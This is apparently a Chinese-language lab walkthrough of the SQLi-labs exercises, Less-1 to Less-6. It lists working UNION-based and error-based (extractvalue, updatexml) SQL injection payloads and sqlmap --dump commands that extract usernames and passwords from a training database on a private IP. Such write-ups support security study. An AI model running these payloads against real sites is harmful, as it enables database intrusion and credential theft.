通过‘发现报错,验证sql注入存在
--+可以正常注释后面的内容,通过order by 查询有几列数据
当查询4列的时候发现错误得到有3列的信息
这里的id为-1,-1的数据不会存在给后面查询的1,2,3留下了显示位,正常为1时2,3的显示位为查询出的结果
union select 联合查询找回显位置
在2的位置替换为我们要查询的语句 database() 查询当前的数据库
group_concat(table_name) from information_schema.tables where table_schema = ‘security’
group_concat 用于将多个表名一起输出出来
table_name from information_schema.tables 查询表名在information_schema.tables中information_schema.tables通过该库能够查看mysql以下的数据库
where table_schema = ‘security’ where同时满足 数据库等于security
可以看到有emails,referers,uagents,users四个表
group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+查看users表中的列
这里是查询类名 和上面的表名是一样的只是用的不同的库
里面有username和password两列
group_concat(username),group_concat(password) from security.users --+
这里直接查询了两个列的数据用了两个group_concat所以要留两个显示位,如果单列查询则不用注意
sqlmap直接爆破就可以
当我们输入单引号双引号的时候发现报错但是去除单引号双引号正常所以知道这里不用单引号双引号
?id=1 order by 4 --+
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,2,database() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+
sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-2/?id=1" --batch -D security -T users --dump
通过报错得sql语句带有括号
?id=1')order by 3 --+
?id=1')order by 4 --+
?id=-1')union select 1,2,3--+
?id=-1')union select 1,2,database()--+
?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
?id=-1')union select 1,group_concat(username),group_concat(password) from security.users --+
sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-3/?id=1" --batch -D security -T users --dump
根据报错知道是双引号带括号
?id=1")order by 3--+
?id=1")order by 4--+
?id=-1")union select 1,2,3--+
?id=-1")union select 1,2,database()--+
?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+
?id=-1")union select 1,group_concat(username),group_concat(password) from security.users --+
sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-4/?id=1" --batch -D security -T users --dump
第5题里面我们发现如果id存在只会返回You are in 并不会回显数据,所以这里用不了联合注入
通过测试发现报错信息会显示,这里使用报错注入
?id=1'and(extractvalue(1,concat(0x5c,database())))--+
?id=1'and (updatexml(1,concat(0x7e,database(),0x7e),1))--+
这里用了两种报错方法 还可以使用floor报错,NAME_CONST报错,join报错,exp报错,
GeometryCollection()报错,polygon ()报错,multipoint ()报错,
multlinestring ()报错,multpolygon ()报错,linestring ()报错
每种报错在使用时要注意不同的使用格式
?id=1'and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1))--+
?id=1'and (extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+
?id=1'and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' )))) --+
?id=1'and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)) --+
这里只能显示一条信息用limit 分开查看
?id=1'and (updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users limit 0,2),0x7e),1))--+
?id=1'and (extractvalue(1,concat(0x7e,(select (username) from security.users limit 0,1 ))))--+
这里也可以分开查询username 和password的信息
offeset代表从哪开始 默认为0
size 为偏移量
sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-5/?id=1" --batch -D security -T users --dump
这里使用之前的语句发现没有报错猜测是没有正确闭合语句
改为双引号发现成功闭合页面返回报错
?id=1"and (updatexml(1,concat(0x7e,database(),0x7e),1)) --+
?id=1"and (extractvalue(1,concat(0x7e,database()))) --+
?id=1"and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+
?id=1"and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)) --+
?id=1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)) --+
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')))) --+
?id=1" and (extractvalue(1,concat(0x7e,(select username from security.users limit 0,1)))) --+
?id=1" and (updatexml(1,concat(0x7e,(select password from security.users limit 0,1 ),0x7e),1)) --+
sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-6/?id=1" --batch -D security -T users --dump